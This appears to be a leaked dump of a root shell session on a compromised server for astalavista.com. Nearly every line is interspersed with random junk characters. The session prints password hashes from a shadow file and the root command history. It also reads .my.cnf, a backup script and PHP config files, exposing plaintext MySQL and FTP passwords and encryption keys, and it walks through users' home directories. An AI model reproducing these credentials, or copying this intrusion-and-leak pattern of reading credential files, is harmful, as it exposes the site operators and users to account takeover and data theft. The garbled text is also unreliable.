( |/ G2 q5 u0 C, i" |) Zjon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
6 r# N* D6 h8 l0 wcom1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::. W& `+ B. ^* |7 E9 _
astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
' n$ b0 S( V5 M% [" h. l" b
1 l3 i8 ^ O( B u* N6 E2 n5 X7 Dsh-3.2# cat /etc/motd1 X5 ^. ]0 Y3 Y4 A
#####################################################
) l i4 R) @' ^#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #' A$ ~; l$ [$ j& X" @% U
# |__| [__ | |__| | |__| | | | [__ | |__| #% E5 E# x" R4 a4 E
# | | ___] | | | |___ | | \/ | ___] | | | #
6 | a' }1 w N# #
# v9 `- t* |8 X% C5 y+ r#####################################################
2 k* Y' e# J# y: X# #
) ?* M( l: d. s1 ~$ [0 ^1 n# Admin Contact - 链接标记support@secureservertech.com #
2 n) h9 z, } D+ A# #
$ _) T; {; y* U$ L, d# Available ShortCuts #
/ S8 O6 n( F9 R: w8 b& i+ e# #" O7 t5 T- { |, ]
# nst - list active connections #
1 F) ?& ~0 u4 Q# ddos - shows how many times each ip is connected #
8 \$ p' x8 X" E& e8 Q) v7 z& K, ~# ltr - restart the webserver #
2 f4 B! g8 U) A: K: m, U# phpc - edit the php config file #
2 q( R8 j1 F! w1 y: D# htc - edit the webserver configuration file #6 {4 ^, Z( C% r) ]$ S) `1 P
# up - uptime #
0 X. B' e2 W4 i: x- ]/ J) R3 H# etd - edit the motd of the day file #- m* t4 b. m7 P) T" _6 k8 w
# htr - start and restart apache if needed #
+ y v( N |4 u$ M# syng - shows active SYN_RECV connections #1 b5 a% c: i7 L, ~$ r& @
# synd - syn flood blocker - “synd -h” for usage #
( A8 U0 [" n- W& q" m#####################################################
0 R0 z1 C; j% [( s1 L9 n# NOTES: #
) f" m& J$ e. H: Z# Last Upgrade - 12-08-2008 by JF #: L% ^" r7 K) s" n
# My.cnf/Mysql Optimization - 1-28-09 #
! W! J0 Y& {, x8 S$ Q( X# #
- g( O$ O! K( l8 q' o* E* S* h1 D# #0 _* v0 E# g. e4 k0 f0 P4 e
# #
" e* k Q ^) ~5 _8 k: |: Z' y#####################################################
1 D3 Z- D3 f6 S6 ^" S
9 }0 V: t. E$ [sh-3.2# lastlog | grep -v Never
# x! Q% Y* i; h9 i- T3 ]Username Port From Latest
9 E! } Z- l) f, U1 X A& k: Z8 U$ t" Proot pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 20093 A( J. Q7 o5 U
admin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008
) o( C2 k! l$ mcom pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009; ^- b7 F4 t; H
astanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
8 G+ A" \; i$ R
; b0 E: c9 g7 h M1 @) x+ [sh-3.2# ls -la
6 x8 A( ^) G; @, D0 O7 B( @total 453376
4 f X4 K$ O3 Y$ A( P! B2 ^, s/ Bdrwxr-x— 15 root root 4096 Jun 4 08:40 .
+ U1 ^7 ]6 [5 xdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..0 N! G3 W# a- Q" `' N* _3 }
-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip$ A8 U7 W4 \1 Y' R) G
-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
9 X; W/ o* {& {3 x$ ]* j-rw——- 1 root root 16836 Jun 4 07:21 .bash_history: K B# N& I2 {6 `
-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout- \2 P$ Y2 _9 Q% C! f
-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile
& O s/ r5 t2 c- Z) n. o* w. N-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc
4 E8 I9 S* O2 ?" w i: z9 S1 o-rwx—— 1 root root 1899 Oct 28 2007 bk.sh
6 m6 z2 _. Q/ F, c' x( Q8 p" M# F) _-rw-r–r– 1 root root 1327 Nov 29 2007 cert0 }2 Y' |3 ]% {4 ~9 `/ y! h8 A7 s- r
-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
9 Y1 V/ o/ h- ^- q) x5 z) \drwxr-xr-x 4 root root 4096 May 20 2008 .cpan3 l' x: q! o. a0 Z/ E5 J" i0 |. d( s
-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc! o4 d; Y' n( q
-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
7 J9 V b G+ M6 |7 _! @1 mdrwx—— 2 root root 4096 Oct 28 2007 .elinks3 V+ S: j8 x( M T
drwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
3 y8 |" N% e; D% c3 ]- u0 D) B-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2 n# p% V+ r' d4 i1 E8 _
-rw——- 1 root root 0 Apr 16 13:19 .history1 q" v* ~% R9 U; H9 L4 Q
-rw-r–r– 1 root root 16095 Sep 11 2007 install.log: V' E* k/ S, R4 D4 Z
-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog
4 u+ D& d: i1 B9 ^-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh
- J* T& |$ N( R$ c( i1 m-rw——- 1 root root 35 Jun 2 14:23 .lesshst: _- |! j2 V6 l6 ]% X f
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp6 g* C! x, _$ P ?& `/ A
drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec
& D- Y7 ^8 I4 ^3 h2 O ~-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz8 }! p: N- y7 b7 c% i' F4 ]. w* p0 J
-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2) f# B' E7 X1 Y% f6 g/ M
-rwx—— 1 root root 760 Sep 18 2008 lp5 A1 n0 e& ^& U
drwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.16 Y4 S5 {5 Q( b2 |, x
-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
0 s# O5 b& [. N( T! d8 D-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.11 @& b0 f0 c) ]2 x1 B; ?3 L3 F$ M& h. f
drwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9
- x1 N/ U( `2 a: \, ^' N p-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz1 l- S+ Q" R ^; J$ D
drwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3
5 W( \4 { N. s5 n4 X8 P-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz; ]7 N* b. w. R2 q9 z5 w( ^/ p
-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh
H& C% e" Q" ]( x6 p+ m-rw——- 1 root root 41 Oct 19 2007 .my.cnf; ]7 \2 Q# M0 w* K, s
-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history
# N4 n' A3 \% g* g% x-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport
, z I) \- K! {4 H; X-rw——- 1 root root 41 May 20 2008 .mytop: K2 k0 ]. D: \ P/ l" Z
drwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6) F+ n1 ]1 d( v% L% u% {
-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz. ]4 g; y4 ~* d: p: z' n
drwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp4 b5 d/ x1 w2 l; u( h2 `: B( Z
-rw——- 1 root root 1462 Sep 21 2007 opt.php
: a/ r1 E* |9 Z& u2 W# A-rw-r–r– 1 root root 3371 Sep 22 2007 p
6 R: ~$ Q L r' m, I: {" r' o8 |-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz23 Z* ^8 O' A5 g! q0 @( q8 d
-rw——- 1 root root 1024 Feb 3 21:32 .rnd1 y7 X& m9 L) D5 P; x, M- u
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr! j- N( z) B* I$ k! ^
-rw-r–r– 1 root root 887 Nov 28 2007 server.key
l5 w6 q# H! O+ }' e4 H2 jdrwx—— 2 root root 4096 Oct 10 2008 .ssh5 j! R9 p. L0 K% p% D% w6 {% H: ^6 T
-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat( L1 n+ A! B- r9 ]4 ^ V; V
-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc0 m3 ~& k; J A+ H: V6 |
-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
- Q$ O: y# r5 h" C" A' k% n6 \* t-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.16 `7 t6 V8 H" I9 g/ e1 Z' V
drwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp
) o; o2 X5 r" p# y9 B* Z7 a-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh
- i7 y2 f* m* O3 Cdrwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0: E+ T0 J. ]% m" A
-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
8 ~) h! ~% m2 G, b5 c z-rw——- 1 root root 12997 May 16 2008 .viminfo
5 ^& T8 ]- ?6 A1 ]
0 S7 i. ^# K% Y( j3 ksh-3.2# cat .bash_history; l* V$ B# e3 D% Z) I9 p
[snip]! d$ F9 Z S7 x
wget cp4sst.com/sstlinux.tar.gz
8 d7 y, ?4 V6 ], {tar zxvf sstlinux.tar.gz& q5 i) l, ~: n; N! R! ], X% a2 k
cd linux-2.6.27.10
1 `& n1 k3 r4 u) c5 `: S' ]sh install.sh
4 f, a% h; t: P! G+ C" wmake bzImage ; make modules ; make modules_install ; make install
7 l6 i5 M+ }( j8 {; c3 J( F' Bmake clean
, X. \: P0 K0 p; H! M `service mysqld restart
& W/ i# D% D6 w& S1 Y! m[snip]
- E I9 M+ B8 E+ e) jcd /usr/sbin/
- R) K1 M0 j4 F: u0 Bchmod 4777 traceroute
+ n D8 K3 ^4 m$ ]' P! e9 l+ Ichmod 4777 ping
7 r% D f/ Z. \' @9 r% v$ Xtraceroute -I 链接标记[url]www.astalavista.ch[/url]
9 X" u7 ]' c/ \( Q[snip]0 f% }' {! F, U) J y1 o
vi /etc/csf/csf.conf' U4 Z% d, X/ E
traceroute google.ch
9 W0 D5 l0 o4 g+ y! I3 b0 d% Rservice csf restart' X! ^: a: G4 L q! a! G
tracert google.ch$ J, d: u6 ]* E! Q
service csf restart/ y( v) m( C. ^) D7 x
traceroute 链接标记[url]www.google.ch[/url] \ |3 A0 D: G+ h1 \
tracert 链接标记[url]www.google.ch[/url]
& b9 C' ]7 V6 mtraceroute 链接标记[url]www.google.ch[/url]
- E% Q2 O' U; D; o: r: k, b2 b/ M. Glocate traceroute9 [& Q# b0 |3 L# H
chown 4755 /bin/traceroute2 L/ r' k; h8 }: n
chown 4777 /bin/traceroute1 o2 T0 c+ `) k3 X8 V' N- h5 P! e
locate ping4 K, s7 p0 f% M: r
chown 4755 /bin/ping' ]+ l: `! ^ Z2 H& G9 i
chown 4777 /bin/ping
: h/ ^" S$ o0 O( gcd /bin/
0 W( a3 p# [0 o# H9 n) ^2 jls -ali | grep ping! M3 g3 t# X6 J# Q& g& B4 r
chown root ping0 d* \0 n) L; @. k5 ?2 c) ~8 y/ _
chmod 4755 ping" L, }* V w7 F
ls -ali | grep traceroute9 o9 @; _# w' j _
chown root traceroute
E) f, |( w+ T- Q* A1 gchmod 4755 traceroute. B' Z" A" `$ q7 v8 C& w" g
ls -ali | grep traceroute9 @" M! X3 Q+ Z. s
traceroute -I 链接标记[url]www.google.ch[/url]
6 H+ ]4 P8 a" b) O/ [8 O f: ytraceroute 链接标记[url]www.google.ch[/url]9 x$ e, p X0 K
whois pmsantos.ch
/ }1 @! Q" b- B. ^4 N! c$ {[snip]
* I0 e+ \1 \, E8 B- B" O9 h: Dmysql -h com_contrexx2_live < /root/defaultp_ports.sql" T; s' G8 ^- N1 ^ U/ y
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql: l) t; R3 o% l6 i8 h( V( U
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
4 |( K8 L7 r6 ~) S" amysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql2 B5 b" t& p% L. e; s$ o- D
top8 l# F1 V" B( d! \8 T/ `" j: x
ping ssth.ch
( Q" D) x* ^5 w! Vping asdlkfaljgasd???ljg???lasj.ch& Z$ N7 g. D. I1 \! F
ping asdlkfaljgasdlasj.ch
6 f. L9 ]) R' z/ e q9 `ping 链接标记[url]www.ssth.ch[/url]
1 X5 o( l' g5 w& N3 u. [ping ssth.ch
, X3 y: i* _! x( r6 m8 W( \nslookup 链接标记[url]www.google.ch[/url]7 q/ f1 y3 b0 U$ a& l
nslookup 链接标记[url]www.ssth.ch[/url]+ Y. a- v6 y8 k4 [4 M4 l: c
man nslookup
8 f: w: T& H9 ~2 t5 y9 L. O5 |) Wping 链接标记[url]www.google.ch[/url]$ P4 {! p: S8 B
nslookup 链接标记[url]www.google.ch[/url]
& @4 z6 ]8 {- k! W, {% D- p( m0 gnslookup 链接标记[url]www.google.ch[/url]0 U2 H. T: @% S, [
nslookup salfjasdlf.ch1 l" m# h7 ~/ m: K9 E: d1 H
[snip]) n2 J8 }" v3 F6 ^, p
openssl passwd -1 sadf. A- `6 D* m( h1 H3 T) L% g5 O
openssl passwd -1 5cZNHstdTy
: R7 U) T4 a7 K! ^mysql6 w1 A0 k$ v3 x- N1 w. H. P: W
mysql
1 e5 \9 r) d- Jlocate proftp
0 D6 L9 ]% d1 Xvi /etc/proftpd.passwd
8 G( d/ D6 O" t' r6 M7 oservice proftpd restart0 _' G, i% L& T0 Q( o8 f) }
locate proftpd.conf) X4 e& e7 H; w7 _7 x& \, l/ g
vi /etc/proftpd.conf0 G( I1 \- \, v; C4 q# x
vi /etc/proftpd.passwd
& r: ~% b% G p. P: ~service proftpd restart
& _: w- O0 H5 V+ |3 y) a[snip]' }( t6 F. V0 F% c- S }
/bin/sh /home/com/backup_system/backup.sh! J. x4 y5 y; P
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin( N Y' m7 \' r# f" {4 B2 `
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
0 h0 U% q( d8 r- Amysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql( q) i1 m9 k, Q2 d1 h& {# c
ls -ali# F' v- L9 u* b6 c6 Z% \) A
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql( |& Q$ x+ L- v6 M2 b& a
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql, z% E$ u9 m- Z
crontab -l6 C/ f$ O$ X) O: S. v" S% v- t
crontab -l5 U c; d7 C5 |- f
php -q /home/com/public_html/modifications/cronjobs/securitynews.php
* E l. ]! o9 s* x' }! @/home/com/public_html/modifications/cronjobs/exploits.sh
* S/ p" q( z( o0 J. m. [ Swget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]8 G! n, l. m6 t. [& X. e
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz- c9 Q/ N- _/ D0 {/ I' M) }
cd lsws-4.0.3
G1 q' `* z- J4 [/ X+ Z/ Csh install.sh5 c6 h9 R _1 u0 q* K6 _& \
uptime
8 J0 r/ b* F# D4 Yhdparm -tt /dev/sda
3 r0 \$ H4 j8 u; S/ A2 `# {/ giostat/ f C, P. V; w: L# K
yum install iostat( c; \" {8 B7 t# c/ A% E. n
iostat
: @, r, K& i8 uwhereis iostat$ p( d5 m: L U l* J1 o W
yjm clean all0 q( g; G8 V) M3 {2 A
yum clean all ; yum -y update
6 k( _: A7 y4 g) L# b- l niostat
. D$ W! s* i5 P3 L4 l/ R/ u5 z0 tyum install systat
& Z# z! N9 m* O" V( r4 F3 H9 ]rpm -qa | grep iostat
8 Q1 }7 O) b2 drpm -qa | grep sysstat
& k# E. y q; r8 ~) C: Krpm -qa | grep systat$ U, X7 w8 x# b0 D0 m, K
dmesg -c$ ]1 ` L, j2 k& t# \# x
sysctl -p
6 y1 U) Q, ?5 E; funame -r
( k6 `" g' ?" R/ E1 t8 Mcd /usr/src% o# B2 v' [% f9 A9 l# R
wget nix101.com/kernels/sstlinux.tar.gz
, B+ b- T6 B: @3 I4 T) rshutdown -r now+ s0 J/ w0 z9 V6 Z( T3 V
nano -w /boot/grub/grub.conf, k! X2 ]( j! S4 m9 L1 j/ w& r
- ~$ W% k, P _' E0 N4 Z$ @. ]$ e7 q
sh-3.2# cat .my.cnf
[: a/ s$ q6 |8 W[client]% `2 Y( }0 s1 M
user=da_admin* v) [! A; \) Q8 _1 I
password=X9dctmRH# j" L: n1 l* r3 ?, O
/ j, T7 j6 l* P
sh-3.2# cat /home/com/backup_system/backup.sh% O! H) k2 V/ }6 E- S1 K5 M1 C
#!/bin/sh5 s w; Z3 g& n4 _( _& X1 A
#####################################################################
$ E- `! y# i* P5 P$ j: a# #* _) K5 {+ c- g5 w/ F6 m
# incremental backup for astalavista.com #1 T1 V; J( O. i5 u Q3 P
# #
. k, s e# u; Y" ]3 k( `$ D9 Z# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #, k$ _: k8 E9 y4 T8 e$ V
# #
6 O2 R2 w7 E3 ? w& ~' _#####################################################################
( T8 X, [8 v. I4 W4 b2 D[snip]& Z) M" s7 [+ X. Y) l9 B# O: d
PROG_DIR=”/home/com/backup_system”;
2 N! x. T" g n C. K/ v( ^( X" ?BACKUP_DIR=”/home/com/backups”;
- J! D. Q5 T% j( WDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;* g% i3 D& v/ ~; E9 T9 U
# ftp for synology backup server% F# ~+ T9 i6 n- G6 J
FTP_HOST=”212.254.194.163″;
3 ~7 H! ^8 A5 }' c% D7 e3 OFTP_PORT=”21″;
! i# e5 v3 I7 H2 q* DFTP_USER=”astalavista.com”;
7 l( ~& \1 [" J2 AFTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;
S8 U6 L% N* k+ m6 bFTP_DIR=”/astalavista.com”;
- y4 S$ _6 e7 L: N1 u# database) |' o" ]0 j3 Y0 H E' l1 Y" L) n2 b
DB_HOST=”localhost”;
) W0 j( e0 o2 ~/ ]DB_USER=”contrexxuser2″;4 {8 r* p9 P3 e
DB_PASS=”0fEYNZgXz1pKe”;
! k$ [4 c4 V. m$ A3 k' Z' d) UDB_DATABASE1=”com_contrexx2_live”;' k6 h4 _7 {) D1 c; ]
DB_DATABASE2=”com_contrexx2″;0 ]. O3 \4 O6 q7 {
[snip]7 B" L! ^9 [, H( _/ D
ftp -in $FTP_HOST $FTP_PORT <<EOF
& P5 x" P# _, D; H. I# jquote USER $FTP_USER1 S6 g0 M; s- H5 [; r: w, R
quote PASS $FTP_PASS7 f ^/ k, C7 Y; s9 |
cd $FTP_DIR2 f6 D0 E. H, H
put $DB_FULLNAME-SQL_Dump.tar/ s7 j5 s# Y8 t
put $BACKUP_FULLNAME-Public_HTML.tar k, N. B, T8 _% }2 E1 m
close
: u4 M7 d( Y/ b# nbye7 x$ ?, L9 `. u! I+ a/ b! u
EOF
- v" \7 U1 ^ Z' O3 W# [ a, @. a- Q/ s" _: w* N. Y' s; w
sh-3.2# cd /home( ^6 P# W! L) t/ Z
sh-3.2# ls -la
5 f' {9 Z7 }/ N, @/ h4 ^total 120/ t% u. ^; L5 L3 o' L
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
) x ], S T! b) k4 t' ~drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..8 C' L' W9 x9 E/ S# U9 z* y4 g
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin( d7 _9 _6 M5 l+ T
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
# i3 Q5 v0 V4 m-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
) ~+ F- X8 g4 |' N) a; U; k3 ]5 _drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
/ d9 k4 k7 [4 k7 xdrwxr-xr-x 2 root root 4096 Jul 29 2008 backup
, [' u# p1 v$ a! H, k- ddrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
# x( v. t# x% Udrwx–x–x 10 com com 4096 Apr 28 12:40 com
u' b: s/ S. j! J8 ydrwxr-xr-x 2 root root 4096 May 17 2007 ftp% M; h' t2 e9 P" z
drwx—— 3 jon jon 4096 Sep 21 2007 jon0 _. k2 [6 H# @& P2 O7 M
drwx—— 2 root root 16384 Sep 11 2007 lost+found, H" P- M' H. P* ]. `; N
drwxr-xr-x 2 root root 4096 Sep 14 2007 my% p/ `$ Y/ B6 j
drwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata9 |; u3 p! s# `3 T
drwx—— 2 jon jon 4096 Sep 15 2007 test' R1 p3 I. O& l& c
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp; ^' y4 ]% e. P' H# \
+ F2 O3 F, Q9 q( F3 T/ hsh-3.2# cd admin* b) m# n: D! E0 ~/ j6 l
sh-3.2# ls -la ?1 b# L4 m# k9 z2 |( l
total 1735896: p* K7 z0 U6 H& |; c2 H9 b
drwx–x–x 9 admin admin 4096 Nov 28 2007 ." Q. @4 m! G/ t& A1 P
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
' u @' l3 M! Tdrwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups; P# c) g9 U1 f+ z" ^7 C" k$ Z( X: K
drwx—— 2 admin admin 4096 Sep 28 2007 backups
- ^- A% L. n5 ~0 r5 J' f+ Y-rw——- 1 admin admin 860 Sep 17 2008 .bash_history
. i* S( z" H) ~( @8 Z' K( t* Z. O! E-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout3 e+ |% C$ i" d/ C; q+ c/ t& J- k
-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile
7 y' q: ]* k1 Z8 ~& {* c-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc* R# E/ N$ Q1 U* w6 n/ O
drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups
7 k! ]5 @" g9 ?3 s7 z' p7 K, Odrwx–x–x 6 admin admin 4096 Sep 21 2007 domains8 r* M6 g( m7 ] @) g$ ]; ~
drwxrwx— 3 admin mail 4096 Sep 21 2007 imap! l8 w- e0 q5 n) c) d/ |. l
-rw-r–r– 1 root root 24 Sep 21 2007 info.php
4 B2 m% _. g; ?! C7 edrwx—— 2 admin admin 4096 Sep 21 2007 mail
; @ N# d. a" g/ u-rw-r–r– 1 root root 716 Nov 28 2007 server.csr+ d+ l; V, B+ |! ]
-rw-r–r– 1 root root 887 Nov 28 2007 server.key
: Z h+ P4 e; ^) [/ A- `0 y: q! \-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow
" b& k9 f" |! }; ] w5 n-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz
- D, F/ g6 D& H5 Ddrwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups
7 N% z8 T' R' R8 G3 [& j
/ v7 W- g4 E/ h8 psh-3.2# ..: l- J% C8 l" t2 N
sh-3.2# cd jon
' Q$ `$ |7 V6 i- R: ^- T; [sh-3.2# ls -la/ H1 { m& W: k8 X6 C- i* Z: l
total 36
, d, S% ?0 Z$ B- |# Ydrwx—— 3 jon jon 4096 Sep 21 2007 ./ P2 b J/ C8 t$ y" N9 P
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
+ A( q4 u: \' l. ]4 G! h-rw——- 1 jon jon 53 Sep 21 2007 .bash_history/ X6 J7 D' N2 U2 a. B
-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout
7 x+ V/ s/ \$ f0 ~* T( l-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile8 j$ ~4 m }% q2 `
-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc
$ {$ [% C+ P! v9 |- e-rw-r–r– 1 root root 24 Sep 21 2007 info.php2 J f2 s3 w& K3 J
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html
& I, s) R8 g; E' V: u: p- k4 O7 _6 f4 c. Y* C
sh-3.2# cd ..
+ S7 _$ h, k" S; ash-3.2# cd test
1 ~: \0 l4 m* z% Gsh-3.2# ls -la+ g1 t# l! C/ [$ \
total 482 @* H% g& `, g; F
drwx—— 2 jon jon 4096 Sep 15 2007 .0 c% J6 X2 C% ~, A+ M
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..
" x+ T4 c* m0 f& }# H" L-rw——- 1 jon jon 79 Sep 21 2007 .bash_history8 z' `/ }; }' y
-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout' }+ e* h2 m; n. a* H, n9 i
-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile$ O% b2 h6 A8 N; H6 z
-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc
0 B7 }- s7 E$ e) E# I/ Csh-3.2# cat .bash_history# y9 l9 U" r* i) i
/usr/bin/mysqladmin -u root password PoliuJhytg67( j h& Y, q; N: b# M0 h7 x. `
, {. y, v" Q# r7 n4 y& wsh-3.2# cd ..: X/ j- _9 G1 a# w) s: l
sh-3.2# cd astanet
, Z/ x" m) y( ~sh-3.2# ls -la
2 _) K8 n# S7 X# itotal 52. f/ x4 P% R; c- J. X
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .
' R+ E/ P1 V2 l' ndrwxr-xr-x 14 root root 4096 Mar 11 17:56 ../ K8 l, u8 F. e
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
% @7 D2 \' A& E! ?& e/ U-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
3 \3 m3 X" d) f6 e4 ~7 G& }$ S-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout% f3 `% e! E6 ^. {! O+ M
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
3 j6 m W( f4 ?9 I$ V) w$ |5 R-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc5 F2 [$ _7 x" G. @) q
drwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains
( }! }5 D7 s8 w8 W( m& g- y2 {- ~drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
7 M$ z* K& y* X" O6 u2 sdrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail! ?4 I& Y# N. P: C8 c
-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history! ~0 T3 s! T/ S! Z( \9 {
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html+ o4 s5 J4 N4 @) \" @* o
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow$ T( o% l5 @8 `$ g: `+ d
5 J: x( z+ r L0 Xsh-3.2# cd auth// u/ G7 G5 [& {; I$ M M; r
sh-3.2# ls -la
2 X$ Q2 z: X& C( gtotal 281 G, J8 i" F# i" S
drwxr-xr-x 2 root root 4096 Dec 23 16:00 .
% A" @) Y+ o1 k' [drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..
) _2 T, k. O6 Q( P+ O4 r# k-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php' h& l4 k+ I: k% }/ Y3 H9 t9 Q+ h
-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php) @7 K9 {1 E) p
-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd
# f1 P- r8 ]$ W+ m-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting
2 V. W+ t9 @9 c. A+ L9 @+ P-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd6 l: f- _, b/ d( n2 J1 C4 N
& S& `# C: x9 I k, Q) V
sh-3.2# cat hackercontest.config.inc.php9 J+ d' R$ m1 v4 t8 ~7 X
<?PHP
( R5 E. f0 V/ M5 }1 h// Variabeln f?r Verbindung zur Datenbank //' R7 O( T" R" |7 ^ L
$conxHost = ‘localhost’; // MySQL hostname |6 e: u+ }) A
$conxUser = ‘hackercontest’; // MySQL user
. q5 E# o$ l1 u2 O7 m* r$conxPassword = ‘K6m@7dUc’; // MySQL password
" d; @, H; Y, F- |. x$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
, t0 Y; \3 m1 ?2 j Q2 A?>+ q% J/ p, }/ ]& `4 i, C$ O
sh-3.2# cat hosting.config.inc.php h6 A6 {' R% {/ B( J/ I# o
<?PHP
" k b. r: C$ {% O( K0 h// Variabeln f?r Verbindung zur Datenbank //
$ L" g( Y3 A h5 `; D: C$conxHost = ‘localhost’; // MySQL hostname
5 E) X4 K9 B& _: L) c$conxUser = ‘hostinguser’; // MySQL user0 x5 [6 Z5 ]+ e
$conxPassword = ‘cXvB3981′; // MySQL password
5 z# C# _4 ^: h' z5 l1 E$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
